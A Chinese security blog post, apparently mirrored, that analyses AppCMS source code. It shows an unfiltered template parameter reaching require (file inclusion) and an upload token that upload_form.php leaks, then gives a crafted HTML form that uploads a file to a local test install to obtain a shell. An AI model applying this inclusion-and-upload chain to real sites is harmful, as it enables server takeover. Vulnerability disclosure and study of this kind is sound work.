zoukankan      html  css  js  c++  java
  • appcms包含getshell 0day

    0x01代码分析

    看到index.php文件

    $tpl = isset($_GET['tpl'])?$_GET['tpl']:'index';
    // 2.1)判断分类绑定模板
    if (intval($cid) > 0) {
        $ncate = isset($c -> categories[$cid])?$c -> categories[$cid]:'';
        if ($ncate == '') die('分类不存在');
        if ($ncate['tpl_listvar'] != '') { // 列表页不为空,当前页面大于第一页,替换为列表页模板
            $tpl = substr($ncate['tpl_listvar'], 0, stripos($ncate['tpl_listvar'], "."));
        } 
        if ($ncate['tpl_index'] != '') { // 封面页不为空,当前页面为第一页,替换为封面模板
            if ($p == 1) $tpl = substr($ncate['tpl_index'], 0, stripos($ncate['tpl_index'], "."));
        } 
    } 
    // 2.2)判断分类下内容页面模板,资讯详情页,应用详情页,应用历史版本页
    
    if ($tpl == 'content_app') {
        $c -> update_vistor($id, 0);
        $con = $c -> get_content($id, 0);
        if(!isset($con['app_id'])) { die('信息不存在'); }
    } elseif ($tpl == 'content_app_history') {
        $c -> update_vistor($id, 0);
        $con = $c -> get_content($id, 0); 
        // exit(print_r($con['history']));
        foreach($con['history'] as $a) { // 判断当前应用版本信息
            if ($a['history_id'] == $hid) {
                $history = $a; 
                // print_r($history);
                continue;
            } 
        } 
        if (!isset($history)) die('历史版本数据不存在');
    } elseif ($tpl == 'content_info') {
        $c -> update_vistor($id, 1);
        $con = $c -> get_content($id, 1);
        if(!isset($con['info_id'])) { die('信息不存在'); }
    } 
    
    if (isset($con) && $c -> categories[$con['last_cate_id']]['tpl_content'] != '') $tpl = $c -> categories[$con['last_cate_id']]['tpl_content'];
    // 内容页顶级分类ID判断,导航条使用
    if (isset($con)) {
        $top = $c -> cate_father($con['last_cate_id']);
        $topid = $top[0]['cate_id'];
    } 
    // 3)组合模板页面路径
    $from_mobile = TEMPLATE;
    
    if (defined('CONTENT_MOBILE') && CONTENT_MOBILE == 1) { // 自适应WAP浏览
        if ($c -> from_mobile()) {
            
            $from_mobile =  defined('WAP_TPL') && WAP_TPL ? WAP_TPL : m;
        } 
    } 
    
    if (defined('WAP_URL') && WAP_URL != '' && 'http://' . $_SERVER['HTTP_HOST'] == WAP_URL) { // WAP独立域名浏览
        $from_mobile = WAP_TPL;
    } 
    
    if (substr($_SERVER['HTTP_HOST'], 0, 4) == 'mkt.') { // 手机客户端
        $from_mobile = "mkt";
    } 
    
    if (substr($tpl, strlen($tpl)-4, 4) == '.php') {
        $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
    } else {
        $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
    } 
    if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
    require(dirname(__FILE__) . $tmp_file);
    /**
     * 其他动作函数开始
     */

    可以看到传进来的tpl没有做任何过滤,直接包含了。

    但是这个cms没有直接上传的地方,前台没啥功能。但是,如何利用这个包含呢?难道只有包含日志神马的吗?那太鸡肋了。我们应该想办法来getshell。

    看到/upload/upload_file.php

    $page['get'] = $_GET;
    $page['post'] = $_POST;
    $dbm = new db_mysql();
    
    $params = $page['get']['params'];
    /**
     * $params=json_encode(urldecode($params));
     * die('<script> alert('.$params.');</script>');
     */
    $params = preg_replace('~(\")~', '"', $params);
    $json_params = json_decode($params);
    // 1.验证请求安全性
    $verify = isset($page['get']['v'])?$page['get']['v']:'';
    if ($verify == '') die('<script>alert("No Access 001");</script>');
    $verify = helper :: decrypt($verify, UPLOAD_KEY);
    $gsc = substr($verify, 0, strlen(UPLOAD_CODE));
    if ($gsc != UPLOAD_CODE) die('<script>alert("No Access 002 ' . $gsc . '");</script>');
    if (!preg_match('~(d{10})~', substr($verify, strlen(UPLOAD_CODE)))) die('<script>alert("No Access 003' . $verify . '");</script>');
    // 2.接收图片上传
    $save_path = '.' . UPLOAD_PATH . date('Y/m/d') . '/';
    $file_name=strtolower($_FILES['file']['name']);
    if(strstr($file_name,'.apk')) {
        $save_path = '.' . (defined('UPLOAD_PATH_APK')?UPLOAD_PATH_APK:'/apk/') . date('Y/m/d') . '/';
    }
    $upload_config = array();
    $upload_config['savePath'] = $save_path; //图片保存路径

    通过$verify来验证是否可以上传,如何获得$verify呢。看到upload_form.php

    <?php
        require_once(dirname(__FILE__)."/../core/init.php");
        $upload_server= SITE_PATH."upload/";
        // 上传安全验证字符串
        $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
        $params=$_GET['params'];
        $params=preg_replace('~(\")~','"',$params);
        $json=json_decode($params);
    ?>
    ........
    <body> 
        <form action='<?php echo($upload_server); ?>upload_file.php?params=<?php echo urlencode($params);?>&v=<?php echo($verify);?>' id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame">   
           <a class="input-file">上传文件<input type="file" id="file" name="file" size="1" style="70px;cursor:default;height:25px;line-height:25px;"></a>
           <iframe name="hidden_frame" id="hidden_frame" frameborder="no" border="0″ marginwidth="0″ marginheight="0" scrolling="no" allowtransparency="yes"></iframe>
       </form> 
    </body>
    </html>

    直接echo出了他的值,这样就好办了。我们本地构造上传表单。

    </html><head>
    </head>
    <body> 
        <form action="http://127.0.0.1/appcms/upload/upload_file.php?params=&v=tHtAtQScLEskxnAynNEomxsWH"
    id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame">
    <input type='file' name='file' />
    <input type='submit' value='Upload File' />
    <form> 
    </body>
    </html>

    然后就可以上传了,由于有一个回调函数,所以抓包可以看到路径。

    0x02利用过程

    QQ截图20140806205808

    QQ截图20140806205833

    QQ截图20140806210038

    QQ截图20140806210308

    QQ截图20140806210514

  • 相关阅读:
    vue安装过程
    es6 Array数组方法
    初始化 CSS 样式
    css新增伪类
    常浏览器兼容性问题与解决方案
    CSS3高级
    php总结
    php环境和使用方法
    [书籍介绍] Python网络数据采集_PDF电子书下载 高清 带索引书签目录_(美)Ryan Mitchell著_北京
    深度学习与计算机视觉应用实战课程
  • 原文地址:https://www.cnblogs.com/Bl4ckc0de/p/3902295.html
Copyright © 2011-2022 走看看